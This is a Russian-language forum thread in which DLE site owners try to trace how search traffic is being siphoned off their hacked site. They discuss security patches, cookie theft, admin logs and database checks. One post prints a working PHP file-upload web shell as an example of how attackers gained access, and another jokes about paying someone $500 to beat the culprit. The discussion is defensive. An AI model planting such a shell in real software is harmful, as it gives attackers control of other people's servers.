Взлом DLE - слив трафика

НУ так засветите сайт редиски. А вообще владелец того сайта может и не знать. Просто он купил трафф и все, а откуда он и не смотрел.

А может и вообще не быть владельцем того сайта и вообще никакого понятий не иметь о том, что вокруг него тучи сгущаются. :)

1. Проверьте сайт, все ли фиксы безопасности установлены? http://dle-news.ru/bags/

2. Проверьте исходный код новостей в редакторе.

3. Можно ссылочку на Ваш сайт, на крайняк в ЛС

Ищите в базе еще

Есть скрипт, не могу найти сейчас, классная вещь, чистит новости от вредоносного кода. Т.к обычно в новостях генерируют код по разному, сложно вычистить.

Посмотрите логи админки, еще в управлении рекламой.

Один раз своровали куки, заходили и пихали в рекламу свою пакость, притом хитрые ставили хрень на небольшое время, несколько человек жаловались, я все прошманал ничего не нашел, думал вирусня у них, а потом вот нашел куда пихали...

Модифицируют назад дату. Не однократно встречал.

Как? Получают данные от сервера/хостинга.

Почта не на майл.ру случайно? Если там, меняйте данные все, включайте в настройках безопасности все возможное и главное запретить паралельные сессии.

Обновились до актуальной версии движка. Прогресс нулевой. Либо шаблоны, либо база.

Вобщем пока никаких результатов. Мозгами трудно представить как из опеределенной категории уходит траф, если в исходном коде чисто. Хорошо, можно допустить некий промежуток времени между срабатыванием скрипта, или условие - ниразу не поймали переход "на своей шкуре"

PS хочется провести тендер на "лучший подзатыльник", за 500 долларов найдется как минимум 1 отморозок, живущий рядом с гавнюком.

Если бы это было так, он бы не морозился на наше письмо, обратный адрес на все 100 показывал, что это не шутка, а письмо от администрации сайта.

Проверять сайт конечно есть смысл и айболитом и другими скриптами.

Вот к примеру как грузили shell, это не вредоносный код, но сайт ломали как нефиг делать:

<?php
error_reporting(0);
if (isset($_REQUEST['UploadOpen'])) {
    echo '<form action="" method=post enctype=multipart/form-data><input type=file name=uploadfile><input type=submit value=Upload></form>';
    $uploaddir = '';
    $uploadfile = $uploaddir.basename($_FILES['uploadfile']['name']);
    if (copy($_FILES['uploadfile']['tmp_name'], $uploadfile)) {
        echo "<h3>OK</h3>";
        exit;
    }else{
        echo "<h3>NO</h3>";
        exit;
    }
    exit;
} 

И не один айболит не найдёт) А в логах есть)

Как вариант была временно отключена возможность доступа к категории для гостей, из которой сливался трафик, что бы исключить базу из возможных источников вредноносного кода. Т. е. при переходе с поисковика, незарегистрированный пользователь не видел ни краткую ни полную новость, другими словами база не работала (а вернее таблицы с новостями), грузился только шаблон.

В итоге без изменений

Движок новый

База не при чем

Шаблон?....

Напишите если мы ошибаемся.